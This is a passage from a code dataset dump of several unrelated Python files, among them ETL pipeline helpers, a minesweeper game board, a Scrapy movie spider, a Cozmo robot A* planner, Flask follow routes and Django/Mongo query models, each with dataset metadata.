\\\n\t\t\t\tpatterns[ o ] % \\\n\t\t\t\t\t( \\\n\t\t\t\t\t\tgetattr( func , o ) , \n\t\t\t\t\t\tgetattr( wrapper , o )\\\n\t\t\t\t\t)\n\t\t\t)\n\t\telse:\n\t\t\tif not attrib == \"module\":\n\t\t\t\tsetattr( wrapper , o , \\\n\t\t\t\t\tpatterns[ o ] % \\\n\t\t\t\t\t\tgetattr( func , o ), \\\n\t\t\t\t\t\t\"*args, **kwds\"\\\n\t\t\t\t)\n\treturn wrapper\n\ndef get_mode( value , row ):\n\tvalue = iter_this( value )\n\td = dict()\n\tfor v in value:\n\t\tif not v in d:\n\t\t\td[v] = 0\n\t\td[v] += 1\n\tres = list(d.items())\n\tres.sort(key=lambda x: -x[1])\n\treturn res[0][0]\n\n\ndef token_and_stem( language = \"english\" ):\n\tstemmer = SnowballStemmer( language )\n\ttokens = tokenizer()\n\tdef stemmed_tokens( description , row ):\n\t\treturn [stemmer.stem(token) for token in tokens.tokenize(description)]\n\treturn stemmed_tokens\n\t\ndef rowmap_field(field_name,func,outname=None):\n\t@wraps(func)\n\tdef _wrapped(row):\n\t\treturn func( row[field_name] , row )\n\treturn (field_name, _wrapped) if outname is None else (outname,_wrapped)\n\t\n\ndef branch( inputfunc , *branches ):\n\t\"\"\"\n\tallows the pipeline to become paralell operations\n\t\"\"\"\n\tdef _wrapped( table ):\n\t\tfor branch in branches:\n\t\t\tbranch( table )\n\t\treturn table\n\t\n\treturn _wrapped\n\ndef pipeline( *callables ):\n\t\n\tcalls = callables\n\t\n\tdef wrapped( table , *args , **kwargs ):\n\t\tc = iter( calls )\n\t\tkwds = kwargs\n\t\tfor cc in c:\n\t\t\ttable = cc( table , *args, **kwds )\n\t\treturn table\n\twrapped._pipeline = callables\n\n\tdef pipeline_( *new_callables ):\n\t\treturn pipeline( *(calls + new_callables) )\n\twrapped.pipeline = pipeline_\n\t\n\tdef branch_( *branches ):\n\t\treturn pipeline_( branch( wrapped , *branches ) )\n\twrapped.branch = branch_\n\t\n\treturn wrapped\n\n\t\n\t\ndef update_composition_wrapper( wrapper , func ):\t\n\tpatterns = {\"doc\":\"%s \\n <====WRAPS====> \\n %s\",\"name\":\"%s ( %s )\",\"module\":\"%s,%s\"}\n\tfor attrib in patterns:\n\t\to = \"__%s__\" % attrib\n\t\tif getattr( wrapper , o ):\n\t\t\tsetattr( wrapper , o , \\\n\t\t\t\tpatterns[ o ] % \\\n\t\t\t\t\t( \\\n\t\t\t\t\t\tgetattr( func , o ) , \n\t\t\t\t\t\tgetattr( wrapper , o )\\\n\t\t\t\t\t)\n\t\t\t)\n\t\telse:\n\t\t\tif not attrib == \"module\":\n\t\t\t\tsetattr( wrapper , o , \\\n\t\t\t\t\tpatterns[ o ] % \\\n\t\t\t\t\t\tgetattr( func , o ), \\\n\t\t\t\t\t\t\"*args, **kwds\"\\\n\t\t\t\t)\n\treturn wrapper\n\ndef input_pipeline( *callables ):\n\tpipe = pipeline( *callables )\n\tdef read_file( filenname , *args , **kwargs ):\n\t\treturn pipe( fromjsonlines ( filename , *args , **kwargs ) )\n\treturn read_file\n\t\nclass AssertFail(AssertionError):\n\t\n\tdef __init__(self , result , func = None , truthfunc = None , *args ):\n\t\tself.result = result\n\t\tself.func = func\n\t\tself.truthfunc\n\t\tsuper(AssertFail,self).__init__(\"[%s] generated result [%s] which failed check [%s]\" \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t% (func,result,truthfunc),\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t*args)\n\ndef assertions( func , truthfunc ):\n\t\n\t@wraps(func)\n\tdef wrapped(*args, **kwargs):\n\t\tresult = func(*args,**kwargs)\n\t\ttry:\n\t\t\tassert truthfunc(result)\n\t\texcept AssertionError:\n\t\t\traise AssertFail( result, func, truthfunc )\n\t\treturn result\n\t\t\n\treturn wrapped\n\t\ndef chainable(func,*args,**kwargs):\n\t\"\"\"\n\tcreates a partial where the resulting function\n\tuses the first new position argument, \n\tthen the previously bound positional arguments,\n\tthen a merge keyword argument dict.\n\t\n\tThis is for chaining situations where each function takes as its\n\tfirst input the last input of the previous function in the chain\n\t\"\"\"\n\t@wraps(func)\n\tdef wrapped(*fargs,**fkwargs):\n\t\tif fargs:\n\t\t\tcargs = (fargs[0],) + args + fargs[1:]\n\t\telse:\n\t\t\tcargs = args\n\t\tkwds = kwargs.copy()\n\t\tkwds.update( **fkwargs )\n\t\treturn func( *cargs , **kwds )\n\t\n\treturn wrapped\n\ndef maybeDelay(pipe):\n\tif hasattr( pipe , \"delay\" ):\n\t\treturn pipe.delay\n\treturn pipe\n\t\ndef suppress_result( outfile = None ):\n\t\"\"\"\n\tsince table is not serializable, it will\n\tcause a typeerror in the celery/other async worker class\n\tif not suppressed\n\t\"\"\"\n\tdef result_suppress( results , *args, **kwargs ):\n\t\treturn outfile\n\treturn result_suppress\n\n\ndef mainfunc( inputfunc , *pipelines ):\n\tcallable = pipeline( inputfunc )\\\n\t\t.branch( *( maybeDelay(pipe) for pipe in pipelines ) )\n\t\n\tdef wrapped( inputfile , **settings ):\n\t\treturn callable( inputfile , **settings )\n\treturn wrapped\n","sub_path":"etl/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"155665431","text":"\"\"\"core.board\"\"\"\n\nimport random\n\nfrom numsweeper.core.functions import (\n grid_to_string,\n make_board_grid,\n outer_coords\n)\n\n\nclass Board(object):\n \"\"\"Board\"\"\"\n\n def __init__(self, **kwargs):\n self.game_win = False\n self.game_over = False\n self.width = kwargs.get('width', 8)\n self.height = kwargs.get('height', 8)\n self.mine_count = kwargs.get('mine_count', 10)\n self.grid = make_board_grid(self.width, self.height)\n\n def __unicode__(self):\n return grid_to_string(self.grid)\n\n def __str__(self):\n return unicode(self).decode('utf-8')\n\n @property\n def mines_uncounted(self):\n \"\"\"mines_uncounted\"\"\"\n return self.mine_count - self._flagged_space_count\n\n @property\n def _flagged_space_count(self):\n \"\"\"flag_count\"\"\"\n return len(\n list(self._get_spaces('is_flagged', True)) +\n list(self._get_spaces('is_question', True))\n )\n\n def flag_space(self, y_pos, x_pos):\n \"\"\"flag_space\"\"\"\n space_dict = self.grid[y_pos][x_pos]\n if space_dict['is_covered']:\n space_dict['is_flagged'] = True\n\n def init_grid(self, y_pos=0, x_pos=0):\n \"\"\"initilalize grid\"\"\"\n self.grid[y_pos][x_pos]['first_selection'] = True\n self._lay_mines()\n self._set_hints()\n self.uncover_space(y_pos, x_pos)\n\n def uncover_space(self, y_pos, x_pos):\n \"\"\"uncover_space\"\"\"\n space_dict = self.grid[y_pos][x_pos]\n\n if all([space_dict['is_covered'], not space_dict['is_flagged']]):\n space_dict['is_covered'] = False\n space_dict['is_question'] = False\n\n if space_dict['has_landmine']:\n self.game_over = True\n else:\n if any([space_dict['hint_count'] == 0,\n space_dict['first_selection']]):\n self._uncover_adjacent_spaces(y_pos, x_pos)\n\n def uncover_unflagged(self):\n \"\"\"uncover_unflagged\"\"\"\n if self.mines_uncounted == 0:\n for y_pos, row in enumerate(self.grid):\n for x_pos, space in enumerate(row):\n if space.is_covered:\n self.uncover_space(y_pos, x_pos)\n if not self.game_over:\n self.game_win = True\n self.game_over = True\n\n def _get_spaces(self, key_name=None, key_value=None):\n \"\"\"_get_spaces\"\"\"\n for row in self.grid:\n for space_dict in row:\n if key_name:\n if space_dict[key_name] == key_value:\n yield space_dict\n else:\n yield space_dict\n\n def _lay_mines(self, first_space=None):\n \"\"\"_lay_mines\"\"\"\n mine_counter = self.mine_count\n while mine_counter:\n spaces = list(self._get_spaces('has_landmine', False))\n if spaces:\n this_space = random.choice(spaces)\n if not this_space['first_selection']:\n this_space['has_landmine'] = True\n mine_counter -= 1\n\n def _set_hints(self):\n \"\"\"_set_hints\"\"\"\n for y_pos, row in enumerate(self.grid):\n for x_pos, space in enumerate(row):\n coords = outer_coords(y_pos, x_pos, self.height, self.width)\n for this_coord in coords:\n if self.grid[this_coord[0]][this_coord[1]]['has_landmine']:\n space['hint_count'] += 1\n\n def _uncover_adjacent_spaces(self, y_pos, x_pos):\n \"\"\"_uncover_adjacent_spaces\"\"\"\n coords = outer_coords(y_pos, x_pos, self.height, self.width)\n for this_coord in coords:\n space_dict = self.grid[this_coord[0]][this_coord[1]]\n if not space_dict['has_landmine']:\n self.uncover_space(this_coord[0], this_coord[1])\n","sub_path":"numsweeper/core/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"437308545","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport pymysql\nfrom assignment1.items import Assignment1Item\nfrom assignment1.NoMovieFoundException import NoMovieFoundException\n\nclass MaoyanSpider(scrapy.Spider):\n name = 'maoyan'\n allowed_domains = ['maoyan.com']\n start_urls = ['https://maoyan.com/films?showType=3']\n\n def __init__(self):\n self.conn = pymysql.connect(host='localhost',\n port=3306,\n user='real_user',\n password='real_password',\n database='pythonCamp',\n charset='utf8mb4')\n self.cursor = self.conn.cursor()\n\n def insertMovie(self, insert_sql):\n self.cursor.execute(insert_sql)\n\n def parse(self, response):\n pipline_items = []\n\n try:\n # select each movie\n movies = response.xpath('//div[@class=\"movie-item film-channel\"]')\n if len(movies) == 0:\n raise NoMovieFoundException('no movie found')\n for movie in movies[:10]:\n movie_infos = movie.xpath('.//div[contains(@class,\"movie-hover-title\")]')\n\n movie_title_selector = movie_infos[0].xpath('./@title')\n movie_title = movie_title_selector.extract_first()\n movie_type_selector = movie_infos[1].xpath('./text()')\n movie_type = movie_type_selector.extract()[1].strip()\n release_date_selector = movie_infos[3].xpath('./text()')\n release_date = release_date_selector.extract()[1].strip()\n\n # init new item for each movie\n item = Assignment1Item()\n item['movie_title'] = movie_title\n item['movie_type'] = movie_type\n item['release_date'] = release_date\n\n pipline_items.append(item)\n except NoMovieFoundException as nmfe:\n print(\"Please double check the xpath\")\n print(nmfe)\n return pipline_items\n\n # close database connection\n def __del__(self):\n self.cursor.close()\n self.conn.close()\n","sub_path":"week02/assignment1/assignment1/spiders/maoyan.py","file_name":"maoyan.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"63316934","text":"\r\n#author1:\r\n#author2:\r\n\r\nfrom grid import *\r\nfrom visualizer import *\r\nimport threading\r\nfrom queue import PriorityQueue\r\nimport math\r\nimport cozmo\r\nfrom cozmo.util import degrees, Pose\r\nimport asyncio\r\n\r\ndef astar(grid, heuristic):\r\n \"\"\"Perform the A* search algorithm on a defined grid\r\n\r\n Arguments:\r\n grid -- CozGrid instance to perform search on\r\n heuristic -- supplied heuristic function\r\n \"\"\"\r\n\r\n start = grid.getStart()\r\n\r\n # Make the assumption that there is only one goal\r\n goal = grid.getGoals()[0]\r\n\r\n # The nodes that are finished\r\n closedSet = set()\r\n\r\n # The nodes that need to be evaluated\r\n openSet = set()\r\n openSet.add(start)\r\n\r\n # The previous node where the key node can be reached most efficiently\r\n previousStep = {}\r\n\r\n # Distance from start to node\r\n gScore = {start : 0}\r\n\r\n # Distance from start to goal when passing through a node\r\n fScore = {start : heuristic(start, goal)}\r\n\r\n # The current node that will traverse the grid\r\n current = None\r\n\r\n while len(openSet):\r\n # Get the node in openSet with the lowest fScore value\r\n lowestFScore = math.inf\r\n for node in openSet:\r\n if node in fScore and fScore[node] < lowestFScore:\r\n current = node\r\n lowestFScore = fScore[node]\r\n\r\n # Stop the loop and set the path\r\n if current == goal:\r\n break\r\n \r\n # Move current node to closed set\r\n openSet.remove(current)\r\n closedSet.add(current)\r\n grid.addVisited(current)\r\n\r\n for neighborObj in grid.getNeighbors(current):\r\n neighbor = neighborObj[0]\r\n distanceToNeighbor = neighborObj[1]\r\n\r\n if neighbor in closedSet:\r\n # Don't do anything if the node is already closed\r\n continue\r\n\r\n if neighbor not in openSet:\r\n # Add neighbor if it hasn't been discovered yet\r\n openSet.add(neighbor)\r\n\r\n gScoreCurrent = gScore[current] if current in gScore else math.inf\r\n gScoreNeighbor = gScore[neighbor] if neighbor in gScore else math.inf\r\n tentativeGScore = gScoreCurrent + distanceToNeighbor\r\n if tentativeGScore >= gScoreNeighbor:\r\n # This new path is not the most optimal\r\n continue\r\n\r\n # This new path is the best so far\r\n previousStep[neighbor] = current\r\n gScore[neighbor] = tentativeGScore\r\n fScore[neighbor] = gScore[neighbor] + heuristic(neighbor, goal)\r\n\r\n #Let's construct the path\r\n path = [current]\r\n while current in previousStep:\r\n current = previousStep[current]\r\n path.insert(0, current)\r\n grid.setPath(path)\r\n\r\ndef heuristic(current, goal):\r\n \"\"\"Heuristic function for A* algorithm\r\n\r\n Arguments:\r\n current -- current cell\r\n goal -- desired goal cell\r\n \"\"\"\r\n\r\n return math.sqrt(math.pow(current[0] - goal[0],2) + math.pow(current[1] - goal[1],2))\r\n\r\n\r\ndef cozmoBehavior(robot: cozmo.robot.Robot):\r\n \"\"\"Cozmo search behavior. See assignment description for details\r\n\r\n Has global access to grid, a CozGrid instance created by the main thread, and\r\n stopevent, a threading.Event instance used to signal when the main thread has stopped.\r\n You can use stopevent.is_set() to check its status or stopevent.wait() to wait for the\r\n main thread to finish.\r\n\r\n Arguments:\r\n robot -- cozmo.robot.Robot instance, supplied by cozmo.run_program\r\n \"\"\"\r\n \r\n global grid, stopevent\r\n\r\n width = grid.width\r\n height = grid.height\r\n scale = grid.scale\r\n\r\n startX = grid.getStart()[0]\r\n startY = grid.getStart()[1]\r\n \r\n #Find Goal\r\n robot.move_lift(-3)\r\n robot.set_head_angle(degrees(0)).wait_for_completed()\r\n # Boolean that determines if Cozmo is already in the center of the grid\r\n inCenter = False\r\n cube1 = None\r\n\r\n #The intial goal is set to the center of the grid, in case the cube is not found initially\r\n grid.addGoal((width/2, height/2))\r\n\r\n while not stopevent.is_set():\r\n #Update start coordinate to be current robot's pose\r\n xR = int(robot.pose.position.x / scale) + startX\r\n yR = int(robot.pose.position.y / scale) + startY\r\n grid.setStart((xR, yR))\r\n\r\n cubeObstacle = None\r\n try:\r\n cubeObstacle = robot.world.wait_for_observed_light_cube(timeout=2)\r\n except asyncio.TimeoutError:\r\n print(\"No Cube obstacle was found\")\r\n if cubeObstacle is not None:\r\n if cubeObstacle.object_id == 1 and cube1 is None:\r\n cube1 = cubeObstacle\r\n\r\n # We found cube 1. Clear the old goal of going to center.\r\n grid.clearGoals()\r\n\r\n #Get cube's 1 coordinates and rotation\r\n print(\"Found Cube 1:\", cube1)\r\n #Assumption: Cube's coordinates is global coordiantes (where Robot originally started)\r\n xC = int(cube1.pose.position.x / scale) + startX\r\n yC = int(cube1.pose.position.y / scale) + startY\r\n angle_zC = cube1.pose.rotation.angle_z\r\n\r\n # Make cube 1 an obstacle to avoid hitting it\r\n addCubeObstacle(grid, (xC, yC))\r\n\r\n #Compute the final goal since we found Cube 1\r\n #This is the final distance where we want to finish from the cube\r\n distanceToCube = 4\r\n goalX = int(round(xC + distanceToCube * math.cos(angle_zC.radians)))\r\n goalY = int(round(yC + distanceToCube * math.sin(angle_zC.radians)))\r\n grid.addGoal((goalX, goalY))\r\n print(\"Goal:\", grid.getGoals()[0])\r\n else:\r\n #We found cube 2 or 3. Let's make them obstacles\r\n xObstacle = int(cubeObstacle.pose.position.x / scale) + startX\r\n yObstacle = int(cubeObstacle.pose.position.y / scale) + startY\r\n print(\"Obstacle found:(\", xObstacle, \",\", yObstacle, \")\")\r\n addCubeObstacle(grid, (xObstacle, yObstacle))\r\n\r\n #Stop robot if we are close enough to goal.\r\n numSquaresThreshold = 1\r\n goalX = grid.getGoals()[0][0]\r\n goalY = grid.getGoals()[0][1]\r\n distanceToGoal = math.sqrt(math.pow(goalX - xR, 2) + math.pow(goalY - yR, 2))\r\n if cube1 is not None:\r\n if distanceToGoal < numSquaresThreshold:\r\n #Rotate the robot to face cube's face and finish\r\n degreesToTurn = normalizeAngle(cube1.pose.rotation.angle_z.degrees + 180 - robot.pose.rotation.angle_z.degrees)\r\n print(\"degrees to turn:\", degreesToTurn)\r\n robot.turn_in_place(degrees(degreesToTurn), speed=degrees(40)).wait_for_completed()\r\n break\r\n elif distanceToGoal < numSquaresThreshold or inCenter:\r\n # We haven't found cube1 yet but we are in the center of the grid. Just rotate to look around\r\n inCenter = True\r\n robot.turn_in_place(degrees(20), speed=degrees(40)).wait_for_completed()\r\n continue\r\n\r\n # Use A* to find the path to cube\r\n astar(grid, heuristic)\r\n\r\n path = grid.getPath()\r\n if len(path) >= 2:\r\n movStart = path[0]\r\n movEnd = path[1]\r\n robotAngle = math.degrees(math.atan2(movEnd[1] - movStart[1], movEnd[0] - movStart[0]))\r\n newRobotX = robot.pose.position.x + (movEnd[0] - movStart[0]) * scale\r\n newRobotY = robot.pose.position.y + (movEnd[1] - movStart[1]) * scale\r\n robot.go_to_pose(Pose(newRobotX, newRobotY, 0, angle_z=degrees(robotAngle)), relative_to_robot=False).wait_for_completed()\r\n\r\ndef addCubeObstacle(grid, cubePosition):\r\n for i in range(-2,3,1):\r\n for j in range(-2,3,1):\r\n obstacle = (cubePosition[0] + i, cubePosition[1] + j)\r\n if grid.coordInBounds(obstacle):\r\n grid.addObstacle(obstacle)\r\n\r\n# return angle always in range (-180, 180] in deg\r\ndef normalizeAngle(heading):\r\n while heading > 180:\r\n heading -= 360\r\n while heading <= -180:\r\n heading += 360\r\n return heading\r\n\r\n######################## DO NOT MODIFY CODE BELOW THIS LINE ####################################\r\n\r\n\r\nclass RobotThread(threading.Thread):\r\n \"\"\"Thread to run cozmo code separate from main thread\r\n \"\"\"\r\n \r\n def __init__(self):\r\n threading.Thread.__init__(self, daemon=True)\r\n\r\n def run(self):\r\n cozmo.run_program(cozmoBehavior)\r\n\r\n\r\n# If run as executable, start RobotThread and launch visualizer with empty grid file\r\nif __name__ == \"__main__\":\r\n global grid, stopevent\r\n stopevent = threading.Event()\r\n grid = CozGrid(\"emptygrid.json\")\r\n visualizer = Visualizer(grid)\r\n updater = UpdateThread(visualizer)\r\n updater.start()\r\n robot = RobotThread()\r\n robot.start()\r\n visualizer.start()\r\n stopevent.set()\r\n\r\n","sub_path":"lab10/planning.py","file_name":"planning.py","file_ext":"py","file_size_in_byte":9064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"455298175","text":"from flask import Blueprint, render_template\nimport config\nfrom flask import Flask, Blueprint, render_template, request, redirect, url_for, flash, session,escape\nfrom models.base_model import *\nfrom models.user import *\nfrom models.follow import *\nfrom app import app \nfrom flask_login import current_user, login_required\n\n\nfollows_blueprint = Blueprint('follows',\n __name__,\n template_folder='templates')\n\n\n@follows_blueprint.route('/', methods=['POST'])\n@login_required\ndef create_follow(id):\n user = User.get_by_id(id)\n already_followed = Follow.get_or_none(Follow.follower_user_id == current_user.id, Follow.followed_user_id==user.id)\n a = Follow(follower_user_id = current_user.id, followed_user_id= user.id)\n a.save()\n # if privacy_status = true, need approval before a user can follow\n # hence, update approved_status to False first, if approved, change to True\n if user.privacy_status:\n Follow.update(approved_status = False).where(Follow.follower_user_id == current_user.id, Follow.followed_user_id == user.id).execute()\n return redirect(url_for('users.show', username=user.username))\n\n@follows_blueprint.route('//delete', methods=['POST'])\n@login_required\ndef destroy_follow(id):\n user = User.get_by_id(id)\n b = Follow.delete().where(Follow.follower_user_id == current_user.id, Follow.followed_user_id == user.id)\n b.execute()\n return redirect(url_for('users.show', username=user.username))\n\n@follows_blueprint.route('/request', methods=[\"GET\"])\ndef show_follow_requests():\n requests = Follow.select().where(Follow.approved_status == False , Follow.followed_user_id==current_user.id)\n return render_template('follows/request.html', requests=requests)\n\n@follows_blueprint.route('/request/', methods=[\"POST\"])\ndef update_follow_requests(id):\n Follow.update(approved_status = True).where(Follow.followed_user_id==current_user.id, Follow.follower_user_id==id).execute()\n return redirect(url_for('follows.show_follow_requests'))\n\n@follows_blueprint.route('/request//delete', methods=[\"POST\"])\ndef destroy_follow_requests(id):\n Follow.delete().where(Follow.followed_user_id==current_user.id, Follow.follower_user_id==id).execute()\n return redirect(url_for('follows.show_follow_requests'))\n ","sub_path":"instagram_web/blueprints/follows/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"308278583","text":"import psycopg2\nimport toml\nimport matplotlib.pyplot as plt\nfrom lib import node_time, node_classification, node_protocol\n\n\nconfig = toml.load(\"./db.toml\")['psql']\nconn = psycopg2.connect(\n host=config['host'],\n port=config['port'],\n database=config['database'],\n user=config['user'],\n password=config['password'],\n)\n\nstart, end = node_time.get_time_range(conn)\nall = node_classification.get_dangling_nodes(conn, start, end)\nprotocols = node_protocol.get_agent_protocol(conn, all)\n\ncounts = dict()\nsum = 0\nfor _, protos in protocols.items():\n for proto in protos:\n if proto in counts:\n counts[proto] += 1\n else:\n counts[proto] = 1\n sum += 1\ncountsTrim = {\"others\": 0}\nfor key, val in counts.items():\n if val / sum < 0.01:\n countsTrim[\"others\"] += val\n else:\n countsTrim[key] = val\n\n# Plot\nplt.rc('font', size=8)\nplt.pie(countsTrim.values(), labels=countsTrim.keys(), autopct=\"%.1f%%\")\nplt.title(\"Dangling nodes protocols from %s to %s\" % (start.replace(microsecond=0), end.replace(microsecond=0)))\nplt.show()\n","sub_path":"analysis/mixed/plot_protocol_dangle.py","file_name":"plot_protocol_dangle.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"93167214","text":"\"\"\" Custom Queries models\n\"\"\"\nfrom __future__ import division\n\nimport logging\n# FIXME: these models cannot be split into components for now because of circular dependencies\nfrom datetime import datetime\n\nfrom bson import ObjectId\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django_mongoengine import fields, Document\nfrom mongoengine import errors as mongoengine_errors\nfrom past.utils import old_div\nfrom qdr.settings import REDIS_URL\nfrom redis import Redis, ConnectionError\n\nfrom core_custom_queries_app.components.dyn_query.models import DynQuery\nfrom core_custom_queries_app.components.log_file import api as log_file_api\nfrom core_custom_queries_app.components.log_file.models import LogFile\nfrom core_custom_queries_app.components.temp_bucket_id_files.models import TempBucketIdFiles\nfrom core_custom_queries_app.components.temp_choice_list_file.models import TempChoiceListFile\nfrom core_custom_queries_app.components.temp_output_file.models import TempOutputFile\nfrom core_custom_queries_app.components.temp_user_step.models import TempUserStep\nfrom core_custom_queries_app.exceptions import EmptyChoicesFromQuery\nfrom core_custom_queries_app.permissions import rights\nfrom core_custom_queries_app.utils import possible_projection, get_common_key_and_specific_header, get_title_data_leaf, \\\n print_bloc, get_header_parents, get_general_key_output_dictionary, flat_list, send_mail_query_end, explore_star\nfrom core_main_app.commons import exceptions\nfrom core_main_app.commons.exceptions import DoesNotExist, ModelError\nfrom core_main_app.components.template.models import Template\nfrom core_main_app.permissions.utils import get_formatted_name\nfrom core_main_app.system import api as system_api\n\nlogger = logging.getLogger(__name__)\n\n\nclass CustomQueries(models.Model):\n class Meta(object):\n verbose_name = 'core_custom_queries_app'\n default_permissions = ()\n permissions = (\n (rights.custom_queries_access, get_formatted_name(rights.custom_queries_access)),\n )\n\n\nclass HistoryQuery(Document):\n \"\"\" History object to retrieve a query to a specific step\n \"\"\"\n user_id = fields.IntField() # User link to the history\n query_id = fields.StringField() # Query link to the history\n message = fields.StringField() # History message\n status = fields.IntField() # History status (0: Query step, 1: Waiting for treatment, 2: Output files created)\n\n @staticmethod\n def get_by_id(history_query_id):\n \"\"\" Return a HistoryQuery given its id.\n\n Args:\n history_query_id:\n\n Returns:\n\n \"\"\"\n try:\n return HistoryQuery.objects.get(pk=str(history_query_id))\n except mongoengine_errors.DoesNotExist as e:\n raise exceptions.DoesNotExist(str(e))\n except Exception as ex:\n raise exceptions.ModelError(str(ex))\n\n @staticmethod\n def get_all():\n \"\"\" Return a list of all HistoryQuery.\n\n Returns:\n\n \"\"\"\n return HistoryQuery.objects().all()\n\n @staticmethod\n def get_all_by_user_id(user_id):\n \"\"\" Return a list of HistoryQuery given their user_id.\n\n Args:\n user_id:\n\n Returns:\n\n \"\"\"\n return HistoryQuery.objects.filter(user_id=str(user_id))\n\n def delete_database(self, from_query_admin=False):\n \"\"\" Delete function.\n\n If the deletion come from the admin panel, Delete all the user query linked to this history.\n\n Args:\n from_query_admin: Variable to avoid circle deletion.\n \"\"\"\n if not from_query_admin:\n temp_user_queries = TempUserQuery.objects.filter(id=self.query_id)\n for temp_user_query in temp_user_queries:\n temp_user_query.delete_database(from_history=True)\n self.delete()\n\n\nclass TempUserQuery(Document):\n \"\"\" Model which define the query associated to a user choice\n \"\"\"\n query = fields.ReferenceField(DynQuery, blank=True)\n\n current_position = fields.IntField() # Current position in the query\n number_of_step = fields.IntField() # Number of steps\n number_of_query_able_step = fields.IntField() # Number of query able steps\n # List of steps associated to the query\n list_steps = fields.ListField(fields.ReferenceField(TempUserStep, blank=True), blank=True)\n str_id_file_json = fields.StringField() # Output JSON file id when it has been created\n str_id_file_xml = fields.StringField() # Output XML file id when it has been created\n str_id_file_csv = fields.StringField() # Output CSV file id when it has been created\n last_modified = fields.DateTimeField() # Last modified timestamp\n history = fields.ReferenceField(HistoryQuery, blank=True) # History ID linked to the query\n\n @staticmethod\n def get_by_id(temp_user_query_id):\n \"\"\"Return a TempUserQuery given its id.\n\n Args:\n temp_user_query_id:\n\n Returns:\n\n \"\"\"\n try:\n return TempUserQuery.objects.get(pk=str(temp_user_query_id))\n except mongoengine_errors.DoesNotExist as e:\n raise exceptions.DoesNotExist(str(e))\n except Exception as ex:\n raise exceptions.ModelError(str(ex))\n\n @staticmethod\n def get_by_history_id(history_id):\n \"\"\"Return a TempUserQuery given its history id.\n\n Args:\n history_id:\n\n Returns:\n\n \"\"\"\n try:\n return TempUserQuery.objects.get(history=str(history_id))\n except mongoengine_errors.DoesNotExist as e:\n raise exceptions.DoesNotExist(str(e))\n except Exception as ex:\n raise exceptions.ModelError(str(ex))\n\n @staticmethod\n def get_all():\n \"\"\"Return all TempUserQuery.\n\n Returns:\n\n \"\"\"\n return TempUserQuery.objects().all()\n\n def delete_database(self, from_history=False):\n \"\"\" Delete function\n\n Delete each steps of the user query and each part of it.\n\n Args:\n from_history: If deletion coming from the history, variable to avoid circle deletion.\n \"\"\"\n for step in self.list_steps:\n try:\n obj_step = TempUserStep.objects.get(id=step.id)\n obj_step.delete_database()\n except Exception as e:\n logger.warning(\"delete_database threw an exception: {0}\".format(str(e)))\n\n # Delete if to treat\n queries = QueryToTreat.objects.filter(query=self)\n for query in queries:\n query.delete_database()\n\n # Delete History\n if not from_history:\n history_queries = HistoryQuery.objects.filter(query_id=str(self.id))\n for history_query in history_queries:\n history_query.delete_database(from_query_admin=True)\n\n # Delete output files\n if self.str_id_file_json != \"\":\n try:\n temp_file = TempOutputFile.objects.get(id=self.str_id_file_json)\n temp_file.delete_database()\n except DoesNotExist as e:\n logger.warning(\"delete_database threw an exception: {0}\".format(str(e)))\n if self.str_id_file_xml != \"\":\n try:\n temp_file = TempOutputFile.objects.get(id=self.str_id_file_xml)\n temp_file.delete_database()\n except DoesNotExist as e:\n logger.warning(\"delete_database threw an exception: {0}\".format(str(e)))\n if self.str_id_file_csv != \"\":\n try:\n temp_file = TempOutputFile.objects.get(id=self.str_id_file_csv)\n temp_file.delete_database()\n except DoesNotExist as e:\n logger.warning(\"delete_database threw an exception: {0}\".format(str(e)))\n\n # DeleteInfoRedis\n try:\n redis_server = Redis.from_url(REDIS_URL)\n if redis_server.exists(\"list_ids\"):\n try:\n redis_server.lrem(\"list_ids\", str(self.id), 0)\n except AttributeError as e:\n logger.warning(\"delete_database threw an exception: {0}\".format(str(e)))\n\n except ConnectionError as e:\n logger.warning(\"delete_database threw an exception: {0}\".format(str(e)))\n\n self.delete()\n\n def initialize_query(self, query_id=None):\n \"\"\" Initialise the query used step after step.\n\n It initialize a query used step after step. If the query name is given, the information\n are loaded from the query define by the admin into the query and his own steps.\n\n Args:\n query_id: The query name to load.\n\n Returns:\n The object initialized.\n \"\"\"\n self.current_position = 0\n self.number_of_step = 0\n self.number_of_query_able_step = 0\n self.list_steps = list()\n self.last_modified = datetime.now()\n self.str_id_file_json = \"\"\n self.str_id_file_xml = \"\"\n self.str_id_file_csv = \"\"\n\n if query_id is not None:\n self.load_from_query_name_admin(query_id)\n\n def load_from_query_name_admin(self, query_id):\n \"\"\" Load the query from the admin query.\n\n The information are loaded from the query define by the admin into the query and his\n own steps. It is mainly used by the initialize_query method.\n\n\n Args:\n query_id: The query name to load.\n \"\"\"\n query = DynQuery.objects.get(pk=query_id)\n self.query = query\n self.number_of_step = len(query.steps)\n\n position = 1\n position_to_show = 1\n full_x_path = ''\n for step in query.steps:\n # Create a new step\n new_step = TempUserStep()\n new_step.initialize_step(step=step)\n\n # Set the full XPath\n if new_step.step.xpath != \".\":\n full_x_path += new_step.step.xpath\n new_step.full_xpath = full_x_path\n\n # Set and update the positions\n new_step.absolute_position = position\n if new_step.query_able:\n new_step.viewable_position = position_to_show\n position_to_show += 1\n self.number_of_query_able_step += 1\n else:\n new_step.viewable_position = 0\n\n position += 1\n\n self.list_steps.append(new_step)\n\n def save_whole_query(self):\n \"\"\" Save the whole query.\n\n Save the whole query:\n _save the general information,\n _save each steps,\n _save the choices-id_files.\n \"\"\"\n\n for step in self.list_steps:\n for choice, list_files in list(step.dict_choices_id_file.items()):\n new_temp_choice_list_file = TempChoiceListFile()\n\n chunks = [list_files[x:x + 